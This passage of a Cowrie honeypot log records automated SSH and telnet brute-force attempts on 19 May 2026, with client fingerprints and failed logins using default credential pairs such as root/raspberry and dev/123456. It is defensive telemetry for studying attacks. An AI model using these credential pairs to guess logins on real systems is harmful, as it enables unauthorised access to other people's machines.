a-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:39.749584Z","src_ip":"45.153.34.112","session":"70756b81a4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:39.994046Z","src_ip":"45.153.34.112","session":"70756b81a4d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:41.161620Z","src_ip":"45.153.34.112","session":"70756b81a4d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59326,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25bcafe32fb","protocol":"telnet","message":"New connection: 192.119.13.58:59326 (10.17.0.5:23) [session: d25bcafe32fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:41.467463Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37526,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc8a3af90e4","protocol":"ssh","message":"New connection: 45.153.34.112:37526 (10.17.0.5:22) [session: 1bc8a3af90e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:43.190728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:43.227974Z","src_ip":"45.153.34.112","session":"1bc8a3af90e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:43.310012Z","src_ip":"45.153.34.112","session":"1bc8a3af90e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:43.556695Z","src_ip":"45.153.34.112","session":"1bc8a3af90e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:44.645610Z","src_ip":"45.153.34.112","session":"1bc8a3af90e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.58050227165222,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:45.281263Z","src_ip":"192.119.13.58","session":"6fd91902a0c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37542,"dst_ip":"10.17.0.5","dst_port":22,"session":"be26f21450df","protocol":"ssh","message":"New connection: 45.153.34.112:37542 (10.17.0.5:22) [session: be26f21450df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:46.776749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:46.781630Z","src_ip":"45.153.34.112","session":"be26f21450df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:46.864139Z","src_ip":"45.153.34.112","session":"be26f21450df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:47.113500Z","src_ip":"45.153.34.112","session":"be26f21450df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:48.198214Z","src_ip":"45.153.34.112","session":"be26f21450df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.93042588233948,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:49.869205Z","src_ip":"192.119.13.58","session":"ec70a4ce2faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44238,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a881369e80b","protocol":"ssh","message":"New connection: 45.153.34.112:44238 (10.17.0.5:22) [session: 4a881369e80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:50.181878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:50.186075Z","src_ip":"45.153.34.112","session":"4a881369e80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:50.268084Z","src_ip":"45.153.34.112","session":"4a881369e80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43630576133728,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:50.369153Z","src_ip":"192.119.13.58","session":"b95f00f95394","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:50.513578Z","src_ip":"45.153.34.112","session":"4a881369e80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:51.622139Z","src_ip":"45.153.34.112","session":"4a881369e80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44244,"dst_ip":"10.17.0.5","dst_port":22,"session":"25d78bf80e23","protocol":"ssh","message":"New connection: 45.153.34.112:44244 (10.17.0.5:22) [session: 25d78bf80e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:53.676132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:53.682863Z","src_ip":"45.153.34.112","session":"25d78bf80e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:53.764978Z","src_ip":"45.153.34.112","session":"25d78bf80e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:54.010135Z","src_ip":"45.153.34.112","session":"25d78bf80e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:55.096904Z","src_ip":"45.153.34.112","session":"25d78bf80e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44248,"dst_ip":"10.17.0.5","dst_port":22,"session":"256dd2cedb4a","protocol":"ssh","message":"New connection: 45.153.34.112:44248 (10.17.0.5:22) [session: 256dd2cedb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:57.292441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:57.297258Z","src_ip":"45.153.34.112","session":"256dd2cedb4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:57.379500Z","src_ip":"45.153.34.112","session":"256dd2cedb4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:57.625979Z","src_ip":"45.153.34.112","session":"256dd2cedb4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b22bb87c5f4","protocol":"telnet","message":"New connection: 192.119.13.58:44770 (10.17.0.5:23) [session: 7b22bb87c5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:58.227986Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45218,"dst_ip":"10.17.0.5","dst_port":23,"session":"adc0dd34c092","protocol":"telnet","message":"New connection: 192.119.13.58:45218 (10.17.0.5:23) [session: adc0dd34c092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:58.338910Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:58.710830Z","src_ip":"45.153.34.112","session":"256dd2cedb4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.402750730514526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:58.885190Z","src_ip":"192.119.13.58","session":"f3fb2b6ec2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49872,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8824381011","protocol":"ssh","message":"New connection: 45.153.34.112:49872 (10.17.0.5:22) [session: ad8824381011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:00.772462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:00.777240Z","src_ip":"45.153.34.112","session":"ad8824381011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:00.859722Z","src_ip":"45.153.34.112","session":"ad8824381011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:01.109997Z","src_ip":"45.153.34.112","session":"ad8824381011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:02.208739Z","src_ip":"45.153.34.112","session":"ad8824381011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"79eae0355030","protocol":"telnet","message":"New connection: 192.119.13.58:39444 (10.17.0.5:23) [session: 79eae0355030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:03.632942Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49890,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e7442df604","protocol":"ssh","message":"New connection: 45.153.34.112:49890 (10.17.0.5:22) [session: e1e7442df604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:04.155432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:04.226956Z","src_ip":"45.153.34.112","session":"e1e7442df604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f716eb8a22","protocol":"telnet","message":"New connection: 192.119.13.58:42148 (10.17.0.5:23) [session: f0f716eb8a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:04.260716Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:04.351296Z","src_ip":"45.153.34.112","session":"e1e7442df604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:04.602579Z","src_ip":"45.153.34.112","session":"e1e7442df604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15785312652588,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:05.228713Z","src_ip":"192.119.13.58","session":"81f3443a5e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:05.687601Z","src_ip":"45.153.34.112","session":"e1e7442df604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49904,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2c991701a2","protocol":"ssh","message":"New connection: 45.153.34.112:49904 (10.17.0.5:22) [session: 4b2c991701a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:07.850949Z"}
